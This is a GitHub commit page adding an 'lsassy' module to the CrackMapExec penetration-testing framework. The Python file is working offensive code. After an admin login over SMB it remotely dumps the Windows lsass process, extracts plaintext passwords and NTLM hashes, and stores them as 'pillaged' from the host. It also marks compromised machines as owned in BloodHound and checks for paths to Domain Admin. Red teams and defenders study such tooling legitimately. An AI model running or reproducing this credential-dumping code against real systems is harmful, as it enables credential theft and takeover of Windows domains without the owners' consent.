Merge pull request #341 from Hackndo/lsassy

Add lsassy module
main
mpgn 2020-04-19 20:36:38 +02:00 committed by GitHub
commit b3dd37da8c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 258 additions and 0 deletions

258
cme/modules/lsassy.py Normal file
View File

@ -0,0 +1,258 @@
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import json
import subprocess
import sys
from lsassy import Lsassy, Logger, Dumper, Parser, Writer
class CMEModule:
name = 'lsassy'
description = "Dump lsass and parse the result remotely with lsassy"
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details
REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
PROCDUMP_PATH Path to procdump on attacker host (Required for method 2)
DUMPERT_PATH Path to procdump on attacker host (Required for method 5)
BLOODHOUND Enable Bloodhound integration (default: false)
NEO4JURI URI for Neo4j database (default: 127.0.0.1)
NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
NEO4JUSER Username for Neo4j database (default: 'neo4j')
NEO4JPASS Password for Neo4j database (default: 'neo4j')
WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
"""
self.method = False
self.remote_lsass_dump = False
self.procdump_path = False
self.dumpert_path = False
if 'METHOD' in module_options:
self.method = module_options['METHOD']
if 'REMOTE_LSASS_DUMP' in module_options:
self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP']
if 'PROCDUMP_PATH' in module_options:
self.procdump_path = module_options['PROCDUMP_PATH']
if 'DUMPERT_PATH' in module_options:
self.dumpert_path = module_options['DUMPERT_PATH']
self.bloodhound = False
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
self.without_edges = ""
if module_options and 'BLOODHOUND' in module_options:
self.bloodhound = module_options['BLOODHOUND']
if module_options and 'NEO4JURI' in module_options:
self.neo4j_URI = module_options['NEO4JURI']
if module_options and 'NEO4JPORT' in module_options:
self.neo4j_Port = module_options['NEO4JPORT']
if module_options and 'NEO4JUSER' in module_options:
self.neo4j_user = module_options['NEO4JUSER']
if module_options and 'NEO4JPASS' in module_options:
self.neo4j_pass = module_options['NEO4JPASS']
if module_options and 'WITHOUT_EDGES' in module_options:
self.without_edges = module_options['WITHOUT_EDGES']
def on_admin_login(self, context, connection):
if self.bloodhound:
self.set_as_owned(context, connection)
"""
Since lsassy is py3.6+ and CME is still py2, lsassy cannot be
imported. For this reason, connection information must be sent to lsassy
so it can create a new connection.
When CME is py3.6 compatible, CME connection object will be reused.
"""
domain_name = connection.domain
username = connection.username
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
password = "" if password is None else password
lmhash = "" if lmhash is None else lmhash
nthash = "" if nthash is None else nthash
host = connection.host
log_options = Logger.Options()
dump_options = Dumper.Options()
parse_options = Parser.Options()
write_option = Writer.Options(format="json", quiet=True)
if self.method:
dump_options.method = int(self.method)
if self.remote_lsass_dump:
dump_options.dumpname = self.remote_lsass_dump
if self.procdump_path:
dump_options.procdump_path = self.procdump_path
if self.dumpert_path:
dump_options.dumpert_path = self.dumpert_path
lsassy = Lsassy(
hostname=host,
username=username,
domain=domain_name,
password=password,
lmhash=lmhash,
nthash=nthash,
log_options=log_options,
dump_options=dump_options,
parse_options=parse_options,
write_options=write_option
)
credentials = lsassy.get_credentials()
if not credentials['success']:
context.log.error(credentials['error_msg'])
if context.verbose and credentials['error_exception']:
context.log.error(credentials['error_exception'])
else:
self.process_credentials(context, connection, credentials["credentials"])
def process_credentials(self, context, connection, credentials):
for domain, creds in json.loads(credentials).items():
for username, passwords in creds.items():
for password in passwords:
plain = password["password"]
lmhash = password["lmhash"]
nthash = password["nthash"]
self.save_credentials(context, connection, domain, username, plain, lmhash, nthash)
self.print_credentials(context, connection, domain, username, plain, lmhash, nthash)
@staticmethod
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_computers(connection.host)[0][0]
if password is not None:
credential_type = 'plaintext'
else:
credential_type = 'hash'
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
def print_credentials(self, context, connection, domain, username, password, lmhash, nthash):
if password is None:
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
output = "%s\\%s %s" % (domain, username, password)
if self.bloodhound and self.bloodhound_analysis(context, connection, username):
output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow
context.log.highlight(output)
def set_as_owned(self, context, connection):
try:
from neo4j.v1 import GraphDatabase
except:
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
host_fqdn = (connection.hostname + "." + connection.domain).upper()
uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
except AuthError as e:
context.log.error(
"Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
sys.exit()
except ServiceUnavailable as e:
context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
sys.exit()
except Exception as e:
context.log.error("Unexpected error with Neo4J")
context.log.debug("Error : ".format(str(e)))
sys.exit()
with driver.session() as session:
with session.begin_transaction() as tx:
result = tx.run(
"MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
if len(result.value()) > 0:
context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
else:
context.log.error(
"Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn))
driver.close()
def bloodhound_analysis(self, context, connection, username):
try:
from neo4j.v1 import GraphDatabase
except:
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
username = (username + "@" + connection.domain).upper().replace("\\", "\\\\")
uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
except AuthError as e:
context.log.error(
"Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
return False
except ServiceUnavailable as e:
context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
return False
except Exception as e:
context.log.error("Unexpected error with Neo4J")
context.log.debug("Error : ".format(str(e)))
return False
edges = [
"MemberOf",
"HasSession",
"AdminTo",
"AllExtendedRights",
"AddMember",
"ForceChangePassword",
"GenericAll",
"GenericWrite",
"Owns",
"WriteDacl",
"WriteOwner",
"CanRDP",
"ExecuteDCOM",
"AllowedToDelegate",
"ReadLAPSPassword",
"Contains",
"GpLink",
"AddAllowedToAct",
"AllowedToAct",
"SQLAdmin"
]
# Remove blacklisted edges
without_edges = [e.lower() for e in self.without_edges.split(",")]
effective_edges = [edge for edge in edges if edge.lower() not in without_edges]
with driver.session() as session:
with session.begin_transaction() as tx:
query = """
MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m))
WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512"
RETURN COUNT(p) AS pathNb
""".format(username, '|'.join(effective_edges))
context.log.debug("Query : {}".format(query))
result = tx.run(query)
driver.close()
return result.value()[0] > 0